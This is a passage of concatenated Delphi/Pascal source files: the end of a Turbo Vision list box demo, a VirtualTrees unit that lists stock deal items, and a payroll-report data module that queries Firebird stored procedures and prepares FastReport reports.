pl^.newlist(nil); {required to clear the listbox}
inherited done;
End;
Procedure TMyapp.InitStatusline;
var
r : trect;
begin
GetExtent(R);
r.a.y := r.b.y - 1;
StatusLine := new(pstatusline,init(r,
newstatusdef(0,$FFFF,
newstatuskey('List Box Demo by Ken.Burrows@Telos.Org.'+
' Press [ESC] to Quit.',
0,0,nil),nil)));
end;
var
a:TMyApp;
Begin
with a do
begin
init;
executedialog(new(MyDialogPtr,init),nil);
done;
end;
End.
|
unit DealItemsTreeView;
interface
uses
Controls, Sysutils, VirtualTrees, define_dealitem;
type
PDealItemNode = ^TDealItemNode;
TDealItemNode = record
DealItem: PRT_DealItem;
end;
TDealItemColumns_BaseInfo = record
Col_Index: TVirtualTreeColumn;
Col_Code: TVirtualTreeColumn;
Col_Name: TVirtualTreeColumn;
Col_FirstDealDate: TVirtualTreeColumn;
Col_LastDealDate: TVirtualTreeColumn;
Col_EndDealDate: TVirtualTreeColumn;
end;
TDealItemColumns_BaseInfoEx = record
Col_VolumeTotal : TVirtualTreeColumn; // 当前总股本
Col_VolumeDeal : TVirtualTreeColumn; // 当前流通股本
Col_VolumeDate : TVirtualTreeColumn; // 当前股本结构开始时间
Col_Industry : TVirtualTreeColumn; // 行业
Col_Area : TVirtualTreeColumn; // 地区
Col_PERatio : TVirtualTreeColumn; // 市盈率
end;
TDealItemColumns_Quote = record
Col_PrePriceClose: TVirtualTreeColumn;
Col_PreDealVolume: TVirtualTreeColumn;
Col_PreDealAmount: TVirtualTreeColumn;
Col_PriceOpen: TVirtualTreeColumn; // 开盘价
Col_PriceHigh: TVirtualTreeColumn; // 最高价
Col_PriceLow: TVirtualTreeColumn; // 最低价
Col_PriceClose: TVirtualTreeColumn; // 收盘价
Col_DealVolume: TVirtualTreeColumn; // 成交量
Col_DealAmount: TVirtualTreeColumn; // 成交金额 (总金额)
Col_DealVolumeRate: TVirtualTreeColumn; // 换手率
end;
TDealItemTreeData = record
TreeView: TBaseVirtualTree;
Columns_BaseInfo: TDealItemColumns_BaseInfo;
ParentControl: TWinControl;
IsOwnedTreeView: Boolean;
end;
TDealItemTreeCtrl = class
protected
fDealItemTreeData: TDealItemTreeData;
procedure vtDealItemGetText(Sender: TBaseVirtualTree; Node: PVirtualNode;
Column: TColumnIndex; TextType: TVSTTextType; var CellText: WideString);
public
constructor Create(AParent: TWinControl);
destructor Destroy; override;
procedure BuildDealItemsTreeNodes;
procedure InitializeDealItemsTree(ATreeView: TBaseVirtualTree);
procedure Clear;
function AddDealItemsTreeColumn_Index: TVirtualTreeColumn;
function AddDealItemsTreeColumn_Code: TVirtualTreeColumn;
function AddDealItemsTreeColumn_Name: TVirtualTreeColumn;
function AddDealItemsTreeColumn_FirstDeal: TVirtualTreeColumn;
function AddDealItemsTreeColumn_EndDeal: TVirtualTreeColumn;
property TreeView: TBaseVirtualTree read fDealItemTreeData.TreeView;
end;
implementation
uses
BaseStockApp;
constructor TDealItemTreeCtrl.Create(AParent: TWinControl);
begin
FillChar(fDealItemTreeData, SizeOf(fDealItemTreeData), 0);
fDealItemTreeData.ParentControl := AParent;
end;
destructor TDealItemTreeCtrl.Destroy;
begin
inherited;
end;
procedure TDealItemTreeCtrl.InitializeDealItemsTree(ATreeView: TBaseVirtualTree);
begin
fDealItemTreeData.TreeView := ATreeView;
if nil = fDealItemTreeData.TreeView then
begin
fDealItemTreeData.TreeView := TVirtualStringTree.Create(fDealItemTreeData.ParentControl);
fDealItemTreeData.IsOwnedTreeView := True;
end;
if nil <> fDealItemTreeData.ParentControl then
begin
fDealItemTreeData.TreeView.Parent := fDealItemTreeData.ParentControl;
fDealItemTreeData.TreeView.Align := alClient;
end;
if fDealItemTreeData.TreeView is TVirtualStringTree then
begin
TVirtualStringTree(fDealItemTreeData.TreeView).NodeDataSize := SizeOf(TDealItemNode);
TVirtualStringTree(fDealItemTreeData.TreeView).OnGetText := vtDealItemGetText;
// -----------------------------------
TVirtualStringTree(fDealItemTreeData.TreeView).Header.Options := [hoVisible, hoColumnResize];
end;
// -----------------------------------
AddDealItemsTreeColumn_Index;
AddDealItemsTreeColumn_Code;
AddDealItemsTreeColumn_Name;
//AddDealItemsTreeColumn_FirstDeal;
//AddDealItemsTreeColumn_EndDeal;
// -----------------------------------
if fDealItemTreeData.TreeView is TVirtualStringTree then
begin
TVirtualStringTree(fDealItemTreeData.TreeView).Indent := 4;
TVirtualStringTree(fDealItemTreeData.TreeView).TreeOptions.AnimationOptions := [];
TVirtualStringTree(fDealItemTreeData.TreeView).TreeOptions.SelectionOptions := [toExtendedFocus,toFullRowSelect];
TVirtualStringTree(fDealItemTreeData.TreeView).TreeOptions.AutoOptions := [
{toAutoDropExpand,
toAutoScrollOnExpand,
toAutoSort,
toAutoTristateTracking,
toAutoDeleteMovedNodes,
toAutoChangeScale}];
end;
end;
function TDealItemTreeCtrl.AddDealItemsTreeColumn_Index: TVirtualTreeColumn;
begin
if nil = fDealItemTreeData.Columns_BaseInfo.Col_Index then
begin
if fDealItemTreeData.TreeView is TVirtualStringTree then
begin
fDealItemTreeData.Columns_BaseInfo.Col_Index := TVirtualStringTree(fDealItemTreeData.TreeView).Header.Columns.Add;
//fDealItemTreeData.Columns_BaseInfo.Col_Index.Width := 50;
fDealItemTreeData.Columns_BaseInfo.Col_Index.Text := 'ID';
fDealItemTreeData.Columns_BaseInfo.Col_Index.Width := TVirtualStringTree(fDealItemTreeData.TreeView).Canvas.TextWidth('2000');
fDealItemTreeData.Columns_BaseInfo.Col_Index.Width :=
fDealItemTreeData.Columns_BaseInfo.Col_Index.Width +
TVirtualStringTree(fDealItemTreeData.TreeView).TextMargin +
TVirtualStringTree(fDealItemTreeData.TreeView).Indent;
end;
end;
Result := fDealItemTreeData.Columns_BaseInfo.Col_Index;
end;
function TDealItemTreeCtrl.AddDealItemsTreeColumn_Code: TVirtualTreeColumn;
begin
if nil = fDealItemTreeData.Columns_BaseInfo.Col_Code then
begin
if fDealItemTreeData.TreeView is TVirtualStringTree then
begin
fDealItemTreeData.Columns_BaseInfo.Col_Code := TVirtualStringTree(fDealItemTreeData.TreeView).Header.Columns.Add;
fDealItemTreeData.Columns_BaseInfo.Col_Code.Width := TVirtualStringTree(fDealItemTreeData.TreeView).Canvas.TextWidth('600000');
fDealItemTreeData.Columns_BaseInfo.Col_Code.Width :=
fDealItemTreeData.Columns_BaseInfo.Col_Code.Width +
TVirtualStringTree(fDealItemTreeData.TreeView).TextMargin * 2 +
fDealItemTreeData.Columns_BaseInfo.Col_Code.Margin +
fDealItemTreeData.Columns_BaseInfo.Col_Code.Spacing;
fDealItemTreeData.Columns_BaseInfo.Col_Code.Text := 'Code';
end;
end;
Result := fDealItemTreeData.Columns_BaseInfo.Col_Code;
end;
function TDealItemTreeCtrl.AddDealItemsTreeColumn_Name: TVirtualTreeColumn;
begin
if nil = fDealItemTreeData.Columns_BaseInfo.Col_Name then
begin
if fDealItemTreeData.TreeView is TVirtualStringTree then
begin
fDealItemTreeData.Columns_BaseInfo.Col_Name := TVirtualStringTree(fDealItemTreeData.TreeView).Header.Columns.Add;
fDealItemTreeData.Columns_BaseInfo.Col_Name.Width := 80;
fDealItemTreeData.Columns_BaseInfo.Col_Name.Text := 'Name';
end;
end;
Result := fDealItemTreeData.Columns_BaseInfo.Col_Name;
end;
function TDealItemTreeCtrl.AddDealItemsTreeColumn_FirstDeal: TVirtualTreeColumn;
begin
if nil = fDealItemTreeData.Columns_BaseInfo.Col_FirstDealDate then
begin
if fDealItemTreeData.TreeView is TVirtualStringTree then
begin
fDealItemTreeData.Columns_BaseInfo.Col_FirstDealDate := TVirtualStringTree(fDealItemTreeData.TreeView).Header.Columns.Add;
fDealItemTreeData.Columns_BaseInfo.Col_FirstDealDate.Width := 80;
fDealItemTreeData.Columns_BaseInfo.Col_FirstDealDate.Text := 'FirstDate';
end;
end;
Result := fDealItemTreeData.Columns_BaseInfo.Col_FirstDealDate;
end;
function TDealItemTreeCtrl.AddDealItemsTreeColumn_EndDeal: TVirtualTreeColumn;
begin
if nil = fDealItemTreeData.Columns_BaseInfo.Col_EndDealDate then
begin
if fDealItemTreeData.TreeView is TVirtualStringTree then
begin
fDealItemTreeData.Columns_BaseInfo.Col_EndDealDate := TVirtualStringTree(fDealItemTreeData.TreeView).Header.Columns.Add;
fDealItemTreeData.Columns_BaseInfo.Col_EndDealDate.Width := 80;
fDealItemTreeData.Columns_BaseInfo.Col_EndDealDate.Text := 'EndDate';
end;
end;
Result := fDealItemTreeData.Columns_BaseInfo.Col_EndDealDate;
end;
procedure TDealItemTreeCtrl.Clear;
begin
if nil <> fDealItemTreeData.TreeView then
begin
fDealItemTreeData.TreeView.Clear;
end;
end;
procedure TDealItemTreeCtrl.BuildDealItemsTreeNodes;
var
i: integer;
tmpVNode: PVirtualNode;
tmpVData: PDealItemNode;
begin
fDealItemTreeData.TreeView.Clear;
fDealItemTreeData.TreeView.BeginUpdate;
try
if nil <> GlobalBaseStockApp then
begin
for i := 0 to GlobalBaseStockApp.StockItemDB.RecordCount - 1 do
begin
tmpVNode := fDealItemTreeData.TreeView.AddChild(nil);
if nil <> tmpVNode then
begin
tmpVData := fDealItemTreeData.TreeView.GetNodeData(tmpVNode);
if nil <> tmpVData then
begin
tmpVData.DealItem := GlobalBaseStockApp.StockItemDB.Items[i];
end;
end;
end;
end;
finally
fDealItemTreeData.TreeView.EndUpdate;
end;
end;
procedure TDealItemTreeCtrl.vtDealItemGetText(Sender: TBaseVirtualTree; Node: PVirtualNode;
Column: TColumnIndex; TextType: TVSTTextType; var CellText: WideString);
var
tmpVData: PDealItemNode;
begin
CellText := '';
tmpVData := Sender.GetNodeData(Node);
if nil <> tmpVData then
begin
if nil <> fDealItemTreeData.Columns_BaseInfo.Col_Index then
begin
if Column = fDealItemTreeData.Columns_BaseInfo.Col_Index.Index then
begin
CellText := IntToStr(Node.Index)
;
exit;
end;
end;
if nil <> tmpVData.DealItem then
begin
if nil <> fDealItemTreeData.Columns_BaseInfo.Col_Code then
begin
if Column = fDealItemTreeData.Columns_BaseInfo.Col_Code.Index then
begin
CellText := tmpVData.DealItem.sCode;
exit;
end;
end;
if nil <> fDealItemTreeData.Columns_BaseInfo.Col_Name then
begin
if Column = fDealItemTreeData.Columns_BaseInfo.Col_Name.Index then
begin
CellText := tmpVData.DealItem.Name;
exit;
end;
end;
if nil <> fDealItemTreeData.Columns_BaseInfo.Col_FirstDealDate then
begin
if Column = fDealItemTreeData.Columns_BaseInfo.Col_FirstDealDate.Index then
begin
if 0 < tmpVData.DealItem.FirstDealDate then
begin
CellText := FormatDateTime('yyyy-mm-dd', tmpVData.DealItem.FirstDealDate);
end;
exit;
end;
end;
if nil <> fDealItemTreeData.Columns_BaseInfo.Col_EndDealDate then
begin
if Column = fDealItemTreeData.Columns_BaseInfo.Col_EndDealDate.Index then
begin
if 0 < tmpVData.DealItem.EndDealDate then
begin
CellText := FormatDateTime('yyyy-mm-dd', tmpVData.DealItem.EndDealDate);
end;
exit;
end;
end;
if nil <> fDealItemTreeData.Columns_BaseInfo.Col_LastDealDate then
begin
if Column = fDealItemTreeData.Columns_BaseInfo.Col_LastDealDate.Index then
begin
if 0 < tmpVData.DealItem.LastDealDate then
begin
CellText := FormatDateTime('yyyy-mm-dd', tmpVData.DealItem.LastDealDate);
end;
exit;
end;
end;
end;
end;
end;
end.
|
unit SimpleReestrDataModul;
interface
uses
SysUtils, Classes, DB, FIBDataSet, pFIBDataSet, FIBDatabase, pFIBDatabase,
frxClass, frxDBSet, frxDesgn, IBase, IniFiles, Forms, Dates, Variants,
Unit_SprSubs_Consts, ZProc, ZSvodTypesUnit, Controls, FIBQuery,
pFIBQuery, pFIBStoredProc, ZMessages, Dialogs, Math, ZSvodProcUnit, Unit_ZGlobal_Consts,
ZWait, frxExportXLS, gr_uCommonLoader, RxMemDS, MultySmetaSimpleReestr;
function IniFileNameReportByTypeSimpleReestr(TypeSimpleReestr:TTypeSimpleReestr):string;
type
TSimpleDM = class(TDataModule)
SimpleDB: TpFIBDatabase;
RTransaction: TpFIBTransaction;
SimpleDesigner: TfrxDesigner;
DSetData: TpFIBDataSet;
ReportDsetData: TfrxDBDataset;
DSetGlobalData: TpFIBDataSet;
ReportDSetGlobalData: TfrxDBDataset;
UserDSet: TfrxUserDataSet;
frxXLSExport1: TfrxXLSExport;
DSetAddData: TpFIBDataSet;
ReportDSetAddData: TfrxDBDataset;
DataSourceInput: TDataSource;
DSetInput: TRxMemoryData;
frxDBDataset1: TfrxDBDataset;
SimpleReport: TfrxReport;
procedure SimpleReportGetValue(const VarName: String; var Value: Variant);
private
PTypeSimpleReestr:TTypeSimpleReestr;
PId_man:integer;
PTn:integer;
PLine:integer;
PId_Vidopl:Integer;
MemoryData: TRxMemoryData;
public
function PrintSpr(AParameter:TSimpleReestrParam):variant;
end;
implementation
{$R *.dfm}
function IniFileNameReportByTypeSimpleReestr(TypeSimpleReestr:TTypeSimpleReestr):string;
begin
case TypeSimpleReestr of
tsrDuty: result:='DutyNameReport';
tsrNarLimit: result:='NarLimitNameReport';
tsrInvalid: result:='InvNameReport';
tsrSumMoreVidrah: result:='NonLimitNameReport';
tsrPererah: result:='PererahNameReport';
else
result:='NameReport'
end;
end;
const Path_IniFile_Reports = 'Reports\Zarplata\Reports.ini';
const SectionOfIniFile = 'SimpleReestr';
const NameReport = 'Reports\Zarplata\SimpleReestr.fr3';
const NameReportBudget = 'Reports\Zarplata\SimpleReestrBudget.fr3';
const NameReportDuty = 'Reports\Zarplata\Sv_Duty.fr3';
const NameReportNarLimit = 'Reports\Zarplata\Sv_NarLimit.fr3';
const NameReportFondInv = 'Reports\Zarplata\ReeFondInv.fr3';
const NameReportFondInv2 = 'Reports\Zarplata\ReeFondInv2.fr3';
const NameReportNonLimit = 'Reports\Zarplata\ReeNonLimit.fr3';
const NameReportPererah = 'Reports\Zarplata\ReePererah.fr3';
const NameReportDodat23 = 'Reports\Zarplata\ReeDodat23.fr3';
const NameReportAccrualSingle = 'Reports\Zarplata\ReeAccrualSingle.fr3';
const NameReportAccrualSingleForMan ='Reports\Zarplata\ReeAccrualSingleForMan.fr3';
function TSimpleDM.PrintSpr(AParameter:TSimpleReestrParam):variant;
var IniFile:TIniFile;
ViewMode:integer;
PathReport:string;
VNameReport:string;
wf:TForm;
PParam:TgrSimpleParam;
Sch:Variant;
i: byte;
Smeta:TDataSet;
begin
wf:=ShowWaitForm(TForm(Self.Owner));
PId_man:=0;
PTypeSimpleReestr:=AParameter.TypeSimpleReestr;
PTn:=0;
SimpleDB.Handle:=AParameter.SvodParam.DB_Handle;
ReportDsetData.DataSet:=DSetData;
try
Screen.Cursor:=crHourGlass;
case AParameter.TypeSimpleReestr of
tsrDuty:
begin
PParam:=TgrSimpleParam.Create;
PParam.DB_Handle:=AParameter.SvodParam.DB_Handle;
PParam.Owner:=AParameter.SvodParam.AOwner;
PParam.KodCur := Aparameter.SvodParam.Kod_setup;
sch:=ShowSpSch(PParam,29);
if not(VarArrayDimCount(Sch)>0) then Exit;
DSetData.SQLs.SelectSQL.Text:='SELECT * FROM Z_SV_DUTY_DATA('+
IntToStr(AParameter.SvodParam.Kod_setup)+','+VarToStr(sch[0])+') order by fio';
VNameReport:=NameReportDuty;
end;
tsrNarLimit:
begin
DSetData.SQLs.SelectSQL.Text:='SELECT * FROM Z_REESTR_NAR_LIMIT('+
IntToStr(AParameter.SvodParam.Kod_setup)+') order by Sch_Title, Fio Collate Win1251_Ua';
VNameReport:=NameReportNarLimit;
end;
tsrInvalid:
begin
DSetData.SQLs.SelectSQL.Text:='SELECT * FROM Z_REESTR_FONDINV('+
IntToStr(AParameter.SvodParam.Kod_setup)+',NULL) ORDER BY FIO,TN,ID_MAN,KOD_SETUP_O2 DESCENDING';
VNameReport:=NameReportFondInv;
end;
tsrInvalid2:
begin
DSetData.SQLs.SelectSQL.Text:='SELECT * FROM Z_REESTR_FONDINV2('+
IntToStr(AParameter.SvodParam.Kod_setup)+',NULL) ORDER BY NAME_SMETA,FIO,TN,ID_MAN,KOD_SETUP_O2 DESCENDING';
VNameReport:=NameReportFondInv2;
end;
tsrSumMoreVidrah:
begin
DSetData.SQLs.SelectSQL.Text:='SELECT * FROM Z_REESTR_NONLIMIT('+
IntToStr(AParameter.SvodParam.Kod_setup)+',NULL) ORDER BY FIO,TN,ID_MAN,KOD_SETUP3 DESCENDING';
VNameReport:=NameReportNonLimit;
end;
tsrPererah:
begin
DSetData.SQLs.SelectSQL.Text:='SELECT * FROM Z_REESTR_PERER('+
IntToStr(AParameter.SvodParam.Kod_setup)+') ORDER BY FIO,TN,ID_MAN,KOD_SETUP3 DESCENDING';
VNameReport:=NameReportPererah;
end;
tsrPFU:
begin
DSetData.SQLs.SelectSQL.Text:='SELECT * FROM Z_REESTR_DODAT23('+
IntToStr(AParameter.SvodParam.Kod_setup)+') ORDER BY KOD_SETUP3';
VNameReport:=NameReportDodat23;
end;
tsrAccrualSingle:
begin
DSetData.SQLs.SelectSQL.Text:='SELECT * FROM Z_REESTR_ACCRUAL_SINGLE_SUM('+
IntToStr(AParameter.SvodParam.Kod_setup)+',''F'')';
DSetAddData.SQLs.SelectSQL.Text:='SELECT * FROM Z_PAR_SET_SELECT_BY_KOD_SETUP('+
IntToStr(AParameter.SvodParam.Kod_setup)+')';
VNameReport:=NameReportAccrualSingle;
end;
tsrAccrualSingleForManAll:
begin
DSetData.SQLs.SelectSQL.Text:='SELECT * FROM Z_REESTR_ACCRUAL_SINGLE_SUM('+
IntToStr(AParameter.SvodParam.Kod_setup)+',''T'') order by fio, kod_set_tax_group';
VNameReport:=NameReportAccrualSingleForMan;
end;
tsrAccrualSingleForInvalid:
begin
DSetData.SQLs.SelectSQL.Text:='SELECT * FROM Z_REESTR_ACCRUAL_SINGLE_SUM('+
IntToStr(AParameter.SvodParam.Kod_setup)+',''I'') order by fio, kod_set_tax_group';
VNameReport:=NameReportAccrualSingleForMan;
end;
tsrAccrualSingleForManOwer:
begin
DSetData.SQLs.SelectSQL.Text:='SELECT * FROM Z_REESTR_ACCRUAL_SINGLE_SUM('+
IntToStr(AParameter.SvodParam.Kod_setup)+',''O'') order by fio, kod_set_tax_group';
VNameReport:=NameReportAccrualSingleForMan;
end;
tsrAlimony_budget:
begin
PParam:=TgrSimpleParam.Create;
PParam.DB_Handle:=AParameter.SvodParam.DB_Handle;
PParam.Owner:=AParameter.SvodParam.AOwner;
Smeta:=GetSmetsMulty(AParameter.SvodParam.AOwner,AParameter.SvodParam.DB_Handle, AParameter.SvodParam.Kod_setup, AParameter.SvodParam.ID_Session,
IdVidOplPropFromTypeSimpleReestr(AParameter.TypeSimpleReestr));
if Smeta=nil then
begin
Screen.Cursor:=crDefault;
Exit;
end;
DSetInput:=TrxMemoryData(Smeta);
DataSourceInput.DataSet:=DSetInput;
DSetData.DataSource:=DataSourceInput;
frxDBDataset1.DataSet:=DSetInput;
DSetData.SQLs.SelectSQL.Text := 'SELECT * FROM Z_SIMPLEREESTR_DATA_BUDGET('+
IntToStr(IdVidOplPropFromTypeSimpleReestr(AParameter.TypeSimpleReestr))+', '+
':ID_SMETA'+', '+
IntToStr(AParameter.SvodParam.ID_Session)+', '+
IntToStr(AParameter.SvodParam.Kod_setup)+
') order by KOD_SMETA descending, NAME_VIDOPL, FIO';
VNameReport:=NameReportBudget;
end;
else
begin
PParam:=TgrSimpleParam.Create;
PParam.DB_Handle:=AParameter.SvodParam.DB_Handle;
PParam.Owner:=AParameter.SvodParam.AOwner;
PParam.KodCur := Aparameter.SvodParam.Kod_setup;
sch:=ShowSpSch(PParam,29);
if not(VarArrayDimCount(Sch)>0) then
begin
Screen.Cursor:=crDefault;
Exit;
end;
DSetData.SQLs.SelectSQL.Text := 'SELECT * FROM Z_SIMPLEREESTR_DATA('+
IntToStr(IdVidOplPropFromTypeSimpleReestr(AParameter.TypeSimpleReestr))+','+
IntToStr(AParameter.SvodParam.Kod_setup)+', '+
VarToStr(sch[0])+')order by KOD_SCH descending, KOD_VIDOPL descending, FIO descending';
VNameReport:=NameReport;
end;
end;
DSetGlobalData.SQLs.SelectSQL.Text := 'SELECT * FROM Z_SIMPLEREESTR_GLOBALDATA('+
IntToStr(IdVidOplPropFromTypeSimpleReestr(AParameter.TypeSimpleReestr))+')';
if (AParameter.TypeSimpleReestr=tsrAlimony_budget) then
try
DSetData.Close;
DSetData.Open;
DSetGlobalData.Open;
MemoryData:=TRxMemoryData.Create(self);
ReportDsetData.DataSet:=MemoryData; //////////
MemoryData.FieldDefs.Add('TN',ftInteger);
MemoryData.FieldDefs.Add('FIO',ftString,62);
MemoryData.FieldDefs.Add('SUMMA',ftCurrency);
MemoryData.FieldDefs.Add('KOD_SMETA',ftString,30);
MemoryData.FieldDefs.Add('NAME_SMETA',ftString,60);
MemoryData.FieldDefs.Add('KOD_VIDOPL',ftInteger);
MemoryData.FieldDefs.Add('NAME_VIDOPL',ftString,255);
MemoryData.Open;
DSetData.Close;
DSetInput.First;
DSetData.Open;
DSetData.First;
while not(DSetInput.Eof) do
begin
while not(DSetData.Eof) do
begin
MemoryData.Insert;
MemoryData['TN']:=DSetData['TN'];
MemoryData['FIO']:=DSetData['FIO'];
MemoryData['SUMMA']:=DSetData['SUMMA'];
MemoryData['KOD_SMETA']:=DSetData['KOD_SMETA'];
MemoryData['NAME_SMETA']:=DSetData['NAME_SMETA'];
MemoryData['KOD_VIDOPL'] :=DSetData['KOD_VIDOPL'];
MemoryData['NAME_VIDOPL'] :=DSetData['NAME_VIDOPL'];
MemoryData.Post;
DSetData.Next;
end;
DSetInput.Next;
end;
MemoryData.first;
ReportDsetData.DataSet:=MemoryData;
except
on E:Exception do
begin
ZShowMessage(Error_Caption[LanguageIndex],e.Message,mtError,[mbOK]);
Exit;
end;
end;
if((AParameter.TypeSimpleReestr=tsrDuty)or
((AParameter.TypeSimpleReestr<>tsrInvalid)and
(AParameter.TypeSimpleReestr<>tsrNarLimit)and
(AParameter.TypeSimpleReestr<>tsrInvalid2)and
(AParameter.TypeSimpleReestr<>tsrSumMoreVidrah)and
(AParameter.TypeSimpleReestr<>tsrPererah)and
(AParameter.TypeSimpleReestr<>tsrPFU)and
(AParameter.TypeSimpleReestr<>tsrAccrualSingle)and
(AParameter.TypeSimpleReestr<>tsrAccrualSingleForManAll) and
(AParameter.TypeSimpleReestr<>tsrAccrualSingleForInvalid) and
(AParameter.TypeSimpleReestr<>tsrAccrualSingleForManOwer) and
(AParameter.TypeSimpleReestr<>tsrAlimony_budget)))then
try
DSetData.Close;
DSetData.Open;
DSetGlobalData.Open;
if AParameter.TypeSimpleReestr=tsrAccrualSingle then
DSetAddData.Open;
MemoryData:=TRxMemoryData.Create(self);
ReportDsetData.DataSet:=MemoryData; //////////
MemoryData.FieldDefs.Add('TN',ftInteger);
MemoryData.FieldDefs.Add('FIO',ftString,62);
MemoryData.FieldDefs.Add('NAME_SCH',ftString,60);
MemoryData.FieldDefs.Add('KOD_SCH',ftString,30);
MemoryData.FieldDefs.Add('SUMMA',ftCurrency);
if((AParameter.TypeSimpleReestr=tsrInvalid)or
(AParameter.TypeSimpleReestr=tsrInvalid2))then
begin
MemoryData.FieldDefs.Add('SUMMA_DOG_PODR',ftCurrency);
end;
if(AParameter.TypeSimpleReestr=tsrNarLimit) then
begin
MemoryData.FieldDefs.Add('PERIOD',ftString,10);
MemoryData.FieldDefs.Add('SUMMA_FACT',ftString,10);
MemoryData.FieldDefs.Add('SUMMA_NAR',ftCurrency);
MemoryData.FieldDefs.Add('SUMMA_RAZN',ftCurrency);
MemoryData.FieldDefs.Add('ALLDAY',ftInteger);
MemoryData.FieldDefs.Add('FACT_DAY',ftInteger);
end;
if(AParameter.TypeSimpleReestr=tsrDuty)then
begin
MemoryData.FieldDefs.Add('KOD_SMETA',ftInteger);
MemoryData.FieldDefs.Add('KOD_DEPARTMENT',ftString,10);
end
else
begin
MemoryData.FieldDefs.Add('KOD_VIDOPL',ftInteger);
MemoryData.FieldDefs.Add('NAME_VIDOPL',ftString,255);
end;
MemoryData.Open;
while not(DSetData.Eof) do
begin
MemoryData.Insert;
MemoryData['TN']:=DSetData['TN'];
MemoryData['FIO']:=DSetData['FIO'];
MemoryData['NAME_SCH']:=DSetData['NAME_SCH'];
MemoryData['KOD_SCH']:=DSetData['KOD_SCH'];
MemoryData['SUMMA']:=DSetData['SUMMA'];
if((AParameter.TypeSimpleReestr=tsrInvalid)or
(AParameter.TypeSimpleReestr=tsrInvalid2))then
begin
MemoryData['SUMMA_DOG_PODR']:=DSetData['SUMMA_DOG_PODR'];
end;
if(AParameter.TypeSimpleReestr=tsrNarLimit) then
begin
MemoryData['PERIOD']:=DSetData['PERIOD'];
MemoryData['SUMMA_FACT']:=DSetData['SUMMA_FACT'];
MemoryData['SUMMA_NAR']:=DSetData['SUMMA_NAR'];
MemoryData['SUMMA_RAZN']:=DSetData['SUMMA_RAZN'];
MemoryData['ALLDAY']:=DSetData['ALLDAY'];
MemoryData['FACT_DAY']:=DSetData['FACT_DAY'];
end;
if(AParameter.TypeSimpleReestr=tsrDuty)then
begin
MemoryData['KOD_SMETA'] :=DSetData['KOD_SMETA'];
MemoryData['KOD_DEPARTMENT']:=DSetData['KOD_DEPARTMENT'];
end
else
begin
MemoryData['KOD_VIDOPL'] :=DSetData['KOD_VIDOPL'];
MemoryData['NAME_VIDOPL'] :=DSetData['NAME_VIDOPL'];
end;
MemoryData.Post;
DSetData.Next;
end;
if ((AParameter.TypeSimpleReestr=tsrDuty)or
((AParameter.TypeSimpleReestr<>tsrInvalid)and
(AParameter.TypeSimpleReestr<>tsrNarLimit)and
(AParameter.TypeSimpleReestr<>tsrInvalid2)and
(AParameter.TypeSimpleReestr<>tsrSumMoreVidrah)and
(AParameter.TypeSimpleReestr<>tsrPererah)and
(AParameter.TypeSimpleReestr<>tsrPFU)and
(AParameter.TypeSimpleReestr<>tsrAccrualSingle)and
(AParameter.TypeSimpleReestr<>tsrAccrualSingleForManAll)and
(AParameter.TypeSimpleReestr<>tsrAccrualSingleForInvalid)and
(AParameter.TypeSimpleReestr<>tsrAccrualSingleForManOwer) and
(AParameter.TypeSimpleReestr<>tsrAlimony_budget))) then
begin
for i:=1 to (VarArrayHighBound(Sch,1)-1) do
begin
DSetData.Close;
if (AParameter.TypeSimpleReestr=tsrDuty)then
DSetData.SQLs.SelectSQL.Text:='SELECT * FROM Z_SV_DUTY_DATA('+
IntToStr(AParameter.SvodParam.Kod_setup)+','+VarToStr(sch[i])+') order by fio'
else
DSetData.SQLs.SelectSQL.Text := 'SELECT * FROM Z_SIMPLEREESTR_DATA('+
IntToStr(IdVidOplPropFromTypeSimpleReestr(AParameter.TypeSimpleReestr))+','+
IntToStr(AParameter.SvodParam.Kod_setup)+','+
VarToStr(sch[i])+') order by KOD_SCH descending, KOD_VIDOPL descending, FIO descending';
DSetData.Open;
if AParameter.TypeSimpleReestr=tsrAccrualSingle then
DSetAddData.Open;
while not(DSetData.Eof) do
begin
MemoryData.Insert;
MemoryData['TN']:=DSetData['TN'];
MemoryData['FIO']:=DSetData['FIO'];
MemoryData['NAME_SCH']:=DSetData['NAME_SCH'];
MemoryData['KOD_SCH']:=DSetData['KOD_SCH'];
MemoryData['SUMMA']:=DSetData['SUMMA'];
if(AParameter.TypeSimpleReestr=tsrDuty)then
begin
MemoryData['KOD_SMETA']:=DSetData['KOD_SMETA'];
MemoryData['KOD_DEPARTMENT']:=DSetData['KOD_DEPARTMENT'];
end
else
begin
MemoryData['KOD_VIDOPL']:=DSetData['KOD_VIDOPL'];
MemoryData['NAME_VIDOPL']:=DSetData['NAME_VIDOPL'];
end;
MemoryData.Post;
DSetData.Next;
end;
end;
ReportDsetData.DataSet:=MemoryData;
end;
except
on E:Exception do
begin
ZShowMessage(Error_Caption[LanguageIndex],e.Message,mtError,[mbOK]);
Exit;
end;
end;
if(DSetData.Active=false) then DSetData.Open;
if AParameter.TypeSimpleReestr=tsrAccrualSingle then
if(DSetAddData.Active=false) then DSetAddData.Open;
case AParameter.TypeSimpleReestr of
tsrInvalid:
begin
UserDSet.RangeEndCount:=DSetData.RecordCount;
UserDSet.RangeEnd:=reCount;
UserDSet.Fields.Add('P_PERIOD');
UserDSet.Fields.Add('P_TN');
UserDSet.Fields.Add('P_FIO');
UserDSet.Fields.Add('P_SUMMA');
UserDSet.Fields.Add('P_SUMMA_DOG_PODR');
UserDSet.Fields.Add('P_CODE_DEPARTMENT');
end;
tsrNarLimit:
begin
UserDSet.RangeEndCount:=DSetData.RecordCount;
UserDSet.RangeEnd:=reCount;
UserDSet.Fields.Add('P_PERIOD');
UserDSet.Fields.Add('P_TN');
UserDSet.Fields.Add('P_FIO');
UserDSet.Fields.Add('P_SUMMA_FACT');
UserDSet.Fields.Add('P_SUMMA_NAR');
UserDSet.Fields.Add('P_SUMMA_RAZN');
UserDSet.Fields.Add('P_ALLDAY');
UserDSet.Fields.Add('P_FACT_DAY');
end;
tsrSumMoreVidrah:
begin
UserDSet.RangeEndCount:=DSetData.RecordCount;
UserDSet.RangeEnd:=reCount;
UserDSet.Fields.Add('P_PERIOD');
UserDSet.Fields.Add('P_TN');
UserDSet.Fields.Add('P_FIO');
UserDSet.Fields.Add('P_SUM_PENS');
UserDSet.Fields.Add('P_SUM_SOC');
UserDSet.Fields.Add('P_SUM_INV');
UserDSet.Fields.Add('P_SUM_FZAN');
UserDSet.Fields.Add('P_CODE_DEPARTMENT');
end;
end;
IniFile:=TIniFile.Create(ExtractFilePath(Application.ExeName)+Path_IniFile_Reports);
ViewMode:=IniFile.ReadInteger(SectionOfIniFile,'ViewMode',1);
PathReport:=IniFile.ReadString(SectionOfIniFile,
